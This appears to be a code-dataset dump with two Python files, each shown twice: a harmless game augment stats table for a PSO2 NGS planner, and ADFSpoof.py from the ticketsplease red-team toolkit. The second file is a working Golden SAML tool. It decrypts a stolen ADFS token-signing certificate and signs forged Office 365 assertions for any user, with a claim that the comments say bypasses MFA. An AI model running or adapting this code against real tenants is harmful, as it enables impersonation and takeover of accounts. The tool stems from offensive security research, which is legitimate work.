2021-05-30T16:12:21.000Z
ACCOUNT_NAME = 'Tal'
10.5
20
0.714286
ACCOUNT_NAME = 'Tal'
true
true
f7f3cbfd79e72c5910d522c84cbed629b5a39039
3,050
py
Python
_data/augments/soul.py
Eurydia/pso2ngs-augment-planner
096e0d1d5d0b96b9720abe41ca76649df3264ca2
[ "MIT" ]
null
null
null
_data/augments/soul.py
Eurydia/pso2ngs-augment-planner
096e0d1d5d0b96b9720abe41ca76649df3264ca2
[ "MIT" ]
null
null
null
_data/augments/soul.py
Eurydia/pso2ngs-augment-planner
096e0d1d5d0b96b9720abe41ca76649df3264ca2
[ "MIT" ]
null
null
null
from typing import List from ._augment import Augment from ._augment_groups import AugmentGroups from effect import * from effect import EffectTypes as ET from util import many_effs_with_same_many_amounts GROUP = AugmentGroups.SOUL CONFLICT = (GROUP,) augments: List[Augment] = [] # ----------------------------------------------- augments.extend( Augment.from_list( f"alts soul", 3, (5, 7, 9), ( EffectWithManyAmount(ET.HP, (5, 10, 15)), EffectWithManyAmount(ET.DMG_RES, (1.01, 1.02, 1.025)), ), GROUP, CONFLICT, ) ) # ----------------------------------------------- # ----------------------------------------------- augments.extend( Augment.from_list( f"dolz soul", 3, (5, 6, 7), ( EffectWithManyAmount(ET.PP, (5, 5, 5)), EffectWithManyAmount(ET.FLOOR_POT, (1.01, 1.02, 1.025)), ), GROUP, CONFLICT, ) ) # ------------------------------------------------ # ----------------------------------------------- _forms_name = ("forms", "forms machini", "form sand") for name, eff in zip(_forms_name, OFFENSIVE_POT): augments.extend( Augment.from_list( f"{name} soul", 3, (6, 8, 9), ( EffectWithManyAmount(eff, (1.02, 1.02, 1.02)), EffectWithManyAmount(ET.DMG_RES, (1, 1.02, 1.025)), ), GROUP, CONFLICT, ) ) # ------------------------------------------------ # ----------------------------------------------- _boss_one = ("daityl", "pettas", "nex") for name, eff in zip(_boss_one, OFFENSIVE_POT): augments.extend( Augment.from_list( f"{name} soul", 3, (7, 8, 10), ( EffectWithManyAmount(ET.PP, (5, 5, 5)), EffectWithManyAmount(eff, (1.01, 1.02, 1.025)), ), GROUP, CONFLICT, ) ) # ------------------------------------------------ # ----------------------------------------------- _boss_two = ("dust", "ragras", "renus") for name, eff in zip(_boss_two, OFFENSIVE_POT): augments.extend( Augment.from_list( f"{name} soul", 3, (7, 8, 10), ( EffectWithManyAmount(ET.HP, (15, 15, 15)), EffectWithManyAmount(eff, (1.01, 1.02, 1.025)), ), GROUP, CONFLICT, ) ) # ------------------------------------------------ # ----------------------------------------------- augments.extend( Augment.from_list( "eradi soul", 3, (7, 8, 10), ( EffectWithManyAmount(ET.HP, (10, 10, 10)), EffectWithManyAmount(ET.PP, (4, 4, 4)), *many_effs_with_same_many_amounts(OFFENSIVE_POT, (1.0125, 1.0175, 1.0225)), ), GROUP, CONFLICT, ) ) # -----------------------------------------------
26.293103
87
0.397049
from typing import List from ._augment import Augment from ._augment_groups import AugmentGroups from effect import * from effect import EffectTypes as ET from util import many_effs_with_same_many_amounts GROUP = AugmentGroups.SOUL CONFLICT = (GROUP,) augments: List[Augment] = [] augments.extend( Augment.from_list( f"alts soul", 3, (5, 7, 9), ( EffectWithManyAmount(ET.HP, (5, 10, 15)), EffectWithManyAmount(ET.DMG_RES, (1.01, 1.02, 1.025)), ), GROUP, CONFLICT, ) ) augments.extend( Augment.from_list( f"dolz soul", 3, (5, 6, 7), ( EffectWithManyAmount(ET.PP, (5, 5, 5)), EffectWithManyAmount(ET.FLOOR_POT, (1.01, 1.02, 1.025)), ), GROUP, CONFLICT, ) ) _forms_name = ("forms", "forms machini", "form sand") for name, eff in zip(_forms_name, OFFENSIVE_POT): augments.extend( Augment.from_list( f"{name} soul", 3, (6, 8, 9), ( EffectWithManyAmount(eff, (1.02, 1.02, 1.02)), EffectWithManyAmount(ET.DMG_RES, (1, 1.02, 1.025)), ), GROUP, CONFLICT, ) ) _boss_one = ("daityl", "pettas", "nex") for name, eff in zip(_boss_one, OFFENSIVE_POT): augments.extend( Augment.from_list( f"{name} soul", 3, (7, 8, 10), ( EffectWithManyAmount(ET.PP, (5, 5, 5)), EffectWithManyAmount(eff, (1.01, 1.02, 1.025)), ), GROUP, CONFLICT, ) ) _boss_two = ("dust", "ragras", "renus") for name, eff in zip(_boss_two, OFFENSIVE_POT): augments.extend( Augment.from_list( f"{name} soul", 3, (7, 8, 10), ( EffectWithManyAmount(ET.HP, (15, 15, 15)), EffectWithManyAmount(eff, (1.01, 1.02, 1.025)), ), GROUP, CONFLICT, ) ) augments.extend( Augment.from_list( "eradi soul", 3, (7, 8, 10), ( EffectWithManyAmount(ET.HP, (10, 10, 10)), EffectWithManyAmount(ET.PP, (4, 4, 4)), *many_effs_with_same_many_amounts(OFFENSIVE_POT, (1.0125, 1.0175, 1.0225)), ), GROUP, CONFLICT, ) )
true
true
f7f3cc066e10995e3a83e32e11d741374a4b0268
16,996
py
Python
ticketsplease/ticketsplease/modules/saml/ADFSpoof.py
secureworks/whiskeysamlandfriends
9334d0959aef64c06a716a5ed2e4f5582ab44a26
[ "Apache-2.0" ]
30
2021-11-10T16:28:34.000Z
2022-03-03T19:46:21.000Z
ticketsplease/ticketsplease/modules/saml/ADFSpoof.py
secureworks/whiskeysamlandfriends
9334d0959aef64c06a716a5ed2e4f5582ab44a26
[ "Apache-2.0" ]
null
null
null
ticketsplease/ticketsplease/modules/saml/ADFSpoof.py
secureworks/whiskeysamlandfriends
9334d0959aef64c06a716a5ed2e4f5582ab44a26
[ "Apache-2.0" ]
4
2021-11-11T19:29:11.000Z
2021-11-15T15:56:57.000Z
# Copyright 2021 FireEye # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # This code has been modified for the purposes of use with WhiskeySAML import re import struct import random import string import base64 import logging from lxml import etree # type: ignore from signxml import XMLSigner # type: ignore from datetime import datetime, timedelta # This is using a modified version of the cryptography library # to deal with the custom MS Key Deriviation # https://github.com/dmb2168/cryptography from cryptography.hazmat.backends import default_backend # type: ignore from cryptography.hazmat.primitives import hashes, hmac # type: ignore from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes # type: ignore from cryptography.hazmat.primitives.serialization import pkcs12 # type: ignore from cryptography.hazmat.primitives.kdf.kbkdf import ( # type: ignore CounterLocation, KBKDFHMAC, Mode, ) from pyasn1.type.univ import ObjectIdentifier, OctetString # type: ignore from pyasn1.codec.der.decoder import decode as der_decode # type: ignore from pyasn1.codec.der.encoder import encode # type: ignore # Via: https://github.com/fireeye/ADFSpoof/blob/master/templates/o365.xml # These are the Golden SAML templates # MFA bypass is based on the attribute value # for the attribute: `authnmethodsreferences`. # MFA Byass: `http://schemas.microsoft.com/claims/multipleauthn` # MFA Required: `urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport` o365_template = """<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"><t:Lifetime><wsu:Created xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$TokenCreated</wsu:Created><wsu:Expires xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$TokenExpires</wsu:Expires></t:Lifetime><wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"><wsa:EndpointReference xmlns:wsa="http://www.w3.org/2005/08/addressing"><wsa:Address>urn:federation:MicrosoftOnline</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><t:RequestedSecurityToken><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion" MajorVersion="1" MinorVersion="1" AssertionID="$AssertionID" Issuer="$AdfsServer" IssueInstant="$TokenCreated"><saml:Conditions NotBefore="$TokenCreated" NotOnOrAfter="$TokenExpires"><saml:AudienceRestrictionCondition><saml:Audience>urn:federation:MicrosoftOnline</saml:Audience></saml:AudienceRestrictionCondition></saml:Conditions><saml:AttributeStatement><saml:Subject><saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">$NameIdentifier</saml:NameIdentifier><saml:SubjectConfirmation><saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod></saml:SubjectConfirmation></saml:Subject><saml:Attribute AttributeName="UPN" AttributeNamespace="http://schemas.xmlsoap.org/claims"><saml:AttributeValue>$UPN</saml:AttributeValue></saml:Attribute><saml:Attribute AttributeName="ImmutableID" AttributeNamespace="http://schemas.microsoft.com/LiveID/Federation/2008/05"><saml:AttributeValue>$NameIdentifier</saml:AttributeValue></saml:Attribute><saml:Attribute xmlns:a="http://schemas.xmlsoap.org/ws/2009/09/identity/claims" AttributeName="insidecorporatenetwork" AttributeNamespace="http://schemas.microsoft.com/ws/2012/01" a:OriginalIssuer="CLIENT CONTEXT"><saml:AttributeValue xmlns:tn="http://www.w3.org/2001/XMLSchema" xmlns:b="http://www.w3.org/2001/XMLSchema-instance" b:type="tn:boolean">false</saml:AttributeValue></saml:Attribute><saml:Attribute AttributeName="authnmethodsreferences" AttributeNamespace="http://schemas.microsoft.com/claims"><saml:AttributeValue>http://schemas.microsoft.com/claims/multipleauthn</saml:AttributeValue></saml:Attribute></saml:AttributeStatement><saml:AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport" AuthenticationInstant="$TokenCreated"><saml:Subject><saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">$NameIdentifier</saml:NameIdentifier><saml:SubjectConfirmation><saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod></saml:SubjectConfirmation></saml:Subject></saml:AuthenticationStatement><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="placeholder"></ds:Signature></saml:Assertion></t:RequestedSecurityToken><t:TokenType>urn:oasis:names:tc:SAML:1.0:assertion</t:TokenType><t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType><t:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</t:KeyType></t:RequestSecurityTokenResponse>""" # o365_template = """<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"><t:Lifetime><wsu:Created xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$TokenCreated</wsu:Created><wsu:Expires xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$TokenExpires</wsu:Expires></t:Lifetime><wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"><wsa:EndpointReference xmlns:wsa="http://www.w3.org/2005/08/addressing"><wsa:Address>urn:federation:MicrosoftOnline</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><t:RequestedSecurityToken><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion" MajorVersion="1" MinorVersion="1" AssertionID="$AssertionID" Issuer="$AdfsServer" IssueInstant="$TokenCreated"><saml:Conditions NotBefore="$TokenCreated" NotOnOrAfter="$TokenExpires"><saml:AudienceRestrictionCondition><saml:Audience>urn:federation:MicrosoftOnline</saml:Audience></saml:AudienceRestrictionCondition></saml:Conditions><saml:AttributeStatement><saml:Subject><saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">$NameIdentifier</saml:NameIdentifier><saml:SubjectConfirmation><saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod></saml:SubjectConfirmation></saml:Subject><saml:Attribute AttributeName="UPN" AttributeNamespace="http://schemas.xmlsoap.org/claims"><saml:AttributeValue>$UPN</saml:AttributeValue></saml:Attribute><saml:Attribute AttributeName="ImmutableID" AttributeNamespace="http://schemas.microsoft.com/LiveID/Federation/2008/05"><saml:AttributeValue>$NameIdentifier</saml:AttributeValue></saml:Attribute><saml:Attribute xmlns:a="http://schemas.xmlsoap.org/ws/2009/09/identity/claims" AttributeName="insidecorporatenetwork" AttributeNamespace="http://schemas.microsoft.com/ws/2012/01" a:OriginalIssuer="CLIENT CONTEXT"><saml:AttributeValue xmlns:tn="http://www.w3.org/2001/XMLSchema" xmlns:b="http://www.w3.org/2001/XMLSchema-instance" b:type="tn:boolean">false</saml:AttributeValue></saml:Attribute><saml:Attribute AttributeName="authnmethodsreferences" AttributeNamespace="http://schemas.microsoft.com/claims"><saml:AttributeValue>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AttributeValue></saml:Attribute></saml:AttributeStatement><saml:AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport" AuthenticationInstant="$TokenCreated"><saml:Subject><saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">$NameIdentifier</saml:NameIdentifier><saml:SubjectConfirmation><saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod></saml:SubjectConfirmation></saml:Subject></saml:AuthenticationStatement><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="placeholder"></ds:Signature></saml:Assertion></t:RequestedSecurityToken><t:TokenType>urn:oasis:names:tc:SAML:1.0:assertion</t:TokenType><t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType><t:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</t:KeyType></t:RequestSecurityTokenResponse>""" # https://github.com/fireeye/ADFSpoof/blob/master/ADFSpoof.py def get_signer(cert, key): pfx = EncryptedPFX(cert, key) decrypted_pfx = pfx.decrypt_pfx() signer = SAMLSigner(decrypted_pfx, o365_template) return signer def get_module_params(server, upn, guid): now = datetime.utcnow() hour = timedelta(hours=1) token_created = (now).strftime("%Y-%m-%dT%H:%M:%S.000Z") token_expires = (now + hour).strftime("%Y-%m-%dT%H:%M:%S.000Z") immutable_id = encode_object_guid(guid).decode("ascii") assertion_id = random_string() # We are only targeting O365 params = { "TokenCreated": token_created, "TokenExpires": token_expires, "UPN": upn, "NameIdentifier": immutable_id, "AssertionID": assertion_id, "AdfsServer": server, } name_identifier = "AssertionID" return params, name_identifier # https://github.com/fireeye/ADFSpoof/blob/master/utils.py def random_string(): return "_" + "".join(random.choices(string.ascii_uppercase + string.digits, k=6)) def new_guid(stream): guid = [] guid.append(stream[3] << 24 | stream[2] << 16 | stream[1] << 8 | stream[0]) guid.append(stream[5] << 8 | stream[4]) guid.append(stream[7] << 8 | stream[6]) guid.append(stream[8]) guid.append(stream[9]) guid.append(stream[10]) guid.append(stream[11]) guid.append(stream[12]) guid.append(stream[13]) guid.append(stream[14]) guid.append(stream[15]) return guid def encode_object_guid(guid): guid = guid.replace("}", "").replace("{", "") guid_parts = guid.split("-") hex_string = ( guid_parts[0][6:] + guid_parts[0][4:6] + guid_parts[0][2:4] + guid_parts[0][0:2] + guid_parts[1][2:] + guid_parts[1][0:2] + guid_parts[2][2:] + guid_parts[2][0:2] + guid_parts[3] + guid_parts[4] ) hex_array = bytearray.fromhex(hex_string) immutable_id = base64.b64encode(hex_array) return immutable_id # https://github.com/fireeye/ADFSpoof/blob/master/SamlSigner.py class SAMLSigner: def __init__(self, data, template=None, password=None): self.key, self.cert = self.load_pkcs12(data, password) self.saml_template = template def load_pkcs12(self, data, password): cert = pkcs12.load_key_and_certificates(data, password, default_backend()) return cert[0], cert[1] def sign_XML(self, params, id_attribute, algorithm, digest): logging.info(f"\tBuilding and signing Golden SAML") saml_string = string.Template(self.saml_template).substitute(params) data = etree.fromstring(saml_string) signed_xml = XMLSigner( c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#", signature_algorithm=algorithm, digest_algorithm=digest, ).sign( data, key=self.key, cert=[self.cert], reference_uri=params.get("AssertionID"), id_attribute=id_attribute, ) signed_saml_string = etree.tostring(signed_xml).replace(b"\n", b"") signed_saml_string = re.sub( b"-----(BEGIN|END) CERTIFICATE-----", b"", signed_saml_string ) logging.debug(f"\tSigned SAML String:\n{signed_saml_string}") return signed_saml_string # https://github.com/fireeye/ADFSpoof/blob/master/EncryptedPfx.py class EncryptedPFX: def __init__(self, blob, key, debug=False): self.DEBUG = debug self.decryption_key = key self._raw = blob self.decode() def decrypt_pfx(self): logging.info(f"\tDeriving decryption keys from DKM") self._derive_keys(self.decryption_key) self._verify_ciphertext() logging.info(f"\tDecrypting EncryptedPfx") backend = default_backend() iv = self.iv.asOctets() cipher = Cipher( algorithms.AES(self.encryption_key), modes.CBC(iv), backend=backend ) decryptor = cipher.decryptor() plain_pfx = decryptor.update(self.ciphertext) + decryptor.finalize() logging.debug(f"\tDecrypted PFX:\n{plain_pfx}") return plain_pfx def _verify_ciphertext(self): backend = default_backend() h = hmac.HMAC(self.mac_key, hashes.SHA256(), backend=backend) stream = self.iv.asOctets() + self.ciphertext h.update(stream) mac_code = h.finalize() if mac_code != self.mac: logging.error("Calculated MAC did not match anticipated MAC") logging.error(f"Calculated MAC: {mac_code}") logging.error(f"Expected MAC: {self.mac}") raise ValueError("invalid mac") logging.debug(f"MAC Calculated over IV and Ciphertext: {mac_code}") def _derive_keys(self, password=None): label = encode(self.encryption_oid) + encode(self.mac_oid) context = self.nonce.asOctets() backend = default_backend() kdf = KBKDFHMAC( algorithm=hashes.SHA256(), mode=Mode.CounterMode, length=48, rlen=4, llen=4, location=CounterLocation.BeforeFixed, label=label, context=context, fixed=None, backend=backend, ) key = kdf.derive(password) logging.debug(f"Derived key: {key}") self.encryption_key = key[0:16] self.mac_key = key[16:] def _decode_octet_string(self, remains=None): if remains: buff = remains else: buff = self._raw[8:] octet_string, remains = der_decode(buff, OctetString()) return octet_string, remains def _decode_length(self, buff): bytes_read = 1 length_initial = buff[0] if length_initial < 127: length = length_initial else: length_initial &= 127 input_arr = [] for x in range(0, length_initial): input_arr.append(buff[x + 1]) bytes_read += 1 length = input_arr[0] for x in range(1, length_initial): length = input_arr[x] + (length << 8) logging.debug(f"Decoded length: {length}") return length, buff[bytes_read:] def _decode_groupkey(self): octet_stream, remains = self._decode_octet_string() guid = new_guid(octet_stream) logging.debug(f"Decoded GroupKey GUID: {guid}") return guid, remains def _decode_authencrypt(self, buff): _, remains = der_decode(buff, ObjectIdentifier()) mac_oid, remains = der_decode(remains, ObjectIdentifier()) encryption_oid, remains = der_decode(remains, ObjectIdentifier()) logging.debug("Decoded Algorithm OIDS:") logging.debug(f"\tEncryption Algorithm OID: {encryption_oid}") logging.debug(f"\tMAC Algorithm OID: {mac_oid}") return encryption_oid, mac_oid, remains def decode(self): version = struct.unpack(">I", self._raw[0:4])[0] if version != 1: logging.error("Version should be 1.") raise ValueError("invalid EncryptedPfx version") method = struct.unpack(">I", self._raw[4:8])[0] if method != 0: logging.error("Not using EncryptThenMAC (0).") raise ValueError(f"unsupported EncryptedPfx method found: {method}") self.guid, remains = self._decode_groupkey() self.encryption_oid, self.mac_oid, remains = self._decode_authencrypt(remains) self.nonce, remains = self._decode_octet_string(remains) self.iv, remains = self._decode_octet_string(remains) self.mac_length, remains = self._decode_length(remains) self.ciphertext_length, remains = self._decode_length(remains) self.ciphertext = remains[: self.ciphertext_length - self.mac_length] self.mac = remains[self.ciphertext_length - self.mac_length :] logging.debug(f"Decoded nonce: {self.nonce.asOctets()}") logging.debug(f"Decoded IV: {self.iv.asOctets()}") logging.debug(f"Decoded MAC length: {self.mac_length}") logging.debug(f"Decoded MAC: {self.mac}") logging.debug(f"Decoded Ciphertext length: {self.ciphertext_length}") logging.debug(f"Decoded Ciphertext:\n{self.ciphertext}")
55.907895
3,268
0.709285
import re import struct import random import string import base64 import logging from lxml import etree from signxml import XMLSigner from datetime import datetime, timedelta from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes, hmac from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives.serialization import pkcs12 from cryptography.hazmat.primitives.kdf.kbkdf import ( CounterLocation, KBKDFHMAC, Mode, ) from pyasn1.type.univ import ObjectIdentifier, OctetString from pyasn1.codec.der.decoder import decode as der_decode from pyasn1.codec.der.encoder import encode o365_template = """<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"><t:Lifetime><wsu:Created xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$TokenCreated</wsu:Created><wsu:Expires xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$TokenExpires</wsu:Expires></t:Lifetime><wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"><wsa:EndpointReference xmlns:wsa="http://www.w3.org/2005/08/addressing"><wsa:Address>urn:federation:MicrosoftOnline</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><t:RequestedSecurityToken><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion" MajorVersion="1" MinorVersion="1" AssertionID="$AssertionID" Issuer="$AdfsServer" IssueInstant="$TokenCreated"><saml:Conditions NotBefore="$TokenCreated" NotOnOrAfter="$TokenExpires"><saml:AudienceRestrictionCondition><saml:Audience>urn:federation:MicrosoftOnline</saml:Audience></saml:AudienceRestrictionCondition></saml:Conditions><saml:AttributeStatement><saml:Subject><saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">$NameIdentifier</saml:NameIdentifier><saml:SubjectConfirmation><saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod></saml:SubjectConfirmation></saml:Subject><saml:Attribute AttributeName="UPN" AttributeNamespace="http://schemas.xmlsoap.org/claims"><saml:AttributeValue>$UPN</saml:AttributeValue></saml:Attribute><saml:Attribute AttributeName="ImmutableID" AttributeNamespace="http://schemas.microsoft.com/LiveID/Federation/2008/05"><saml:AttributeValue>$NameIdentifier</saml:AttributeValue></saml:Attribute><saml:Attribute xmlns:a="http://schemas.xmlsoap.org/ws/2009/09/identity/claims" AttributeName="insidecorporatenetwork" AttributeNamespace="http://schemas.microsoft.com/ws/2012/01" a:OriginalIssuer="CLIENT CONTEXT"><saml:AttributeValue xmlns:tn="http://www.w3.org/2001/XMLSchema" xmlns:b="http://www.w3.org/2001/XMLSchema-instance" b:type="tn:boolean">false</saml:AttributeValue></saml:Attribute><saml:Attribute AttributeName="authnmethodsreferences" AttributeNamespace="http://schemas.microsoft.com/claims"><saml:AttributeValue>http://schemas.microsoft.com/claims/multipleauthn</saml:AttributeValue></saml:Attribute></saml:AttributeStatement><saml:AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport" AuthenticationInstant="$TokenCreated"><saml:Subject><saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">$NameIdentifier</saml:NameIdentifier><saml:SubjectConfirmation><saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod></saml:SubjectConfirmation></saml:Subject></saml:AuthenticationStatement><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="placeholder"></ds:Signature></saml:Assertion></t:RequestedSecurityToken><t:TokenType>urn:oasis:names:tc:SAML:1.0:assertion</t:TokenType><t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType><t:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</t:KeyType></t:RequestSecurityTokenResponse>""" def get_signer(cert, key): pfx = EncryptedPFX(cert, key) decrypted_pfx = pfx.decrypt_pfx() signer = SAMLSigner(decrypted_pfx, o365_template) return signer def get_module_params(server, upn, guid): now = datetime.utcnow() hour = timedelta(hours=1) token_created = (now).strftime("%Y-%m-%dT%H:%M:%S.000Z") token_expires = (now + hour).strftime("%Y-%m-%dT%H:%M:%S.000Z") immutable_id = encode_object_guid(guid).decode("ascii") assertion_id = random_string() params = { "TokenCreated": token_created, "TokenExpires": token_expires, "UPN": upn, "NameIdentifier": immutable_id, "AssertionID": assertion_id, "AdfsServer": server, } name_identifier = "AssertionID" return params, name_identifier def random_string(): return "_" + "".join(random.choices(string.ascii_uppercase + string.digits, k=6)) def new_guid(stream): guid = [] guid.append(stream[3] << 24 | stream[2] << 16 | stream[1] << 8 | stream[0]) guid.append(stream[5] << 8 | stream[4]) guid.append(stream[7] << 8 | stream[6]) guid.append(stream[8]) guid.append(stream[9]) guid.append(stream[10]) guid.append(stream[11]) guid.append(stream[12]) guid.append(stream[13]) guid.append(stream[14]) guid.append(stream[15]) return guid def encode_object_guid(guid): guid = guid.replace("}", "").replace("{", "") guid_parts = guid.split("-") hex_string = ( guid_parts[0][6:] + guid_parts[0][4:6] + guid_parts[0][2:4] + guid_parts[0][0:2] + guid_parts[1][2:] + guid_parts[1][0:2] + guid_parts[2][2:] + guid_parts[2][0:2] + guid_parts[3] + guid_parts[4] ) hex_array = bytearray.fromhex(hex_string) immutable_id = base64.b64encode(hex_array) return immutable_id class SAMLSigner: def __init__(self, data, template=None, password=None): self.key, self.cert = self.load_pkcs12(data, password) self.saml_template = template def load_pkcs12(self, data, password): cert = pkcs12.load_key_and_certificates(data, password, default_backend()) return cert[0], cert[1] def sign_XML(self, params, id_attribute, algorithm, digest): logging.info(f"\tBuilding and signing Golden SAML") saml_string = string.Template(self.saml_template).substitute(params) data = etree.fromstring(saml_string) signed_xml = XMLSigner( c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#", signature_algorithm=algorithm, digest_algorithm=digest, ).sign( data, key=self.key, cert=[self.cert], reference_uri=params.get("AssertionID"), id_attribute=id_attribute, ) signed_saml_string = etree.tostring(signed_xml).replace(b"\n", b"") signed_saml_string = re.sub( b"-----(BEGIN|END) CERTIFICATE-----", b"", signed_saml_string ) logging.debug(f"\tSigned SAML String:\n{signed_saml_string}") return signed_saml_string class EncryptedPFX: def __init__(self, blob, key, debug=False): self.DEBUG = debug self.decryption_key = key self._raw = blob self.decode() def decrypt_pfx(self): logging.info(f"\tDeriving decryption keys from DKM") self._derive_keys(self.decryption_key) self._verify_ciphertext() logging.info(f"\tDecrypting EncryptedPfx") backend = default_backend() iv = self.iv.asOctets() cipher = Cipher( algorithms.AES(self.encryption_key), modes.CBC(iv), backend=backend ) decryptor = cipher.decryptor() plain_pfx = decryptor.update(self.ciphertext) + decryptor.finalize() logging.debug(f"\tDecrypted PFX:\n{plain_pfx}") return plain_pfx def _verify_ciphertext(self): backend = default_backend() h = hmac.HMAC(self.mac_key, hashes.SHA256(), backend=backend) stream = self.iv.asOctets() + self.ciphertext h.update(stream) mac_code = h.finalize() if mac_code != self.mac: logging.error("Calculated MAC did not match anticipated MAC") logging.error(f"Calculated MAC: {mac_code}") logging.error(f"Expected MAC: {self.mac}") raise ValueError("invalid mac") logging.debug(f"MAC Calculated over IV and Ciphertext: {mac_code}") def _derive_keys(self, password=None): label = encode(self.encryption_oid) + encode(self.mac_oid) context = self.nonce.asOctets() backend = default_backend() kdf = KBKDFHMAC( algorithm=hashes.SHA256(), mode=Mode.CounterMode, length=48, rlen=4, llen=4, location=CounterLocation.BeforeFixed, label=label, context=context, fixed=None, backend=backend, ) key = kdf.derive(password) logging.debug(f"Derived key: {key}") self.encryption_key = key[0:16] self.mac_key = key[16:] def _decode_octet_string(self, remains=None): if remains: buff = remains else: buff = self._raw[8:] octet_string, remains = der_decode(buff, OctetString()) return octet_string, remains def _decode_length(self, buff): bytes_read = 1 length_initial = buff[0] if length_initial < 127: length = length_initial else: length_initial &= 127 input_arr = [] for x in range(0, length_initial): input_arr.append(buff[x + 1]) bytes_read += 1 length = input_arr[0] for x in range(1, length_initial): length = input_arr[x] + (length << 8) logging.debug(f"Decoded length: {length}") return length, buff[bytes_read:] def _decode_groupkey(self): octet_stream, remains = self._decode_octet_string() guid = new_guid(octet_stream) logging.debug(f"Decoded GroupKey GUID: {guid}") return guid, remains def _decode_authencrypt(self, buff): _, remains = der_decode(buff, ObjectIdentifier()) mac_oid, remains = der_decode(remains, ObjectIdentifier()) encryption_oid, remains = der_decode(remains, ObjectIdentifier()) logging.debug("Decoded Algorithm OIDS:") logging.debug(f"\tEncryption Algorithm OID: {encryption_oid}") logging.debug(f"\tMAC Algorithm OID: {mac_oid}") return encryption_oid, mac_oid, remains def decode(self): version = struct.unpack(">I", self._raw[0:4])[0] if version != 1: logging.error("Version should be 1.") raise ValueError("invalid EncryptedPfx version") method = struct.unpack(">I", self._raw[4:8])[0] if method != 0: logging.error("Not using EncryptThenMAC (0).") raise ValueError(f"unsupported EncryptedPfx method found: {method}") self.guid, remains = self._decode_groupkey() self.encryption_oid, self.mac_oid, remains = self._decode_authencrypt(remains) self.nonce, remains = self._decode_octet_string(remains) self.iv, remains = self._decode_octet_string(remains) self.mac_length, remains = self._decode_length(remains) self.ciphertext_length, remains = self._decode_length(remains) self.ciphertext = remains[: self.ciphertext_length - self.mac_length] self.mac = remains[self.ciphertext_length - self.mac_length :] logging.debug(f"Decoded nonce: {self.nonce.asOctets()}") logging.debug(f"Decoded IV: {self.iv.asOctets()}") logging.debug(f"Decoded MAC length: {self.mac_length}") logging.debug(f"Decoded MAC: {self.mac}") logging.debug(f"Decoded 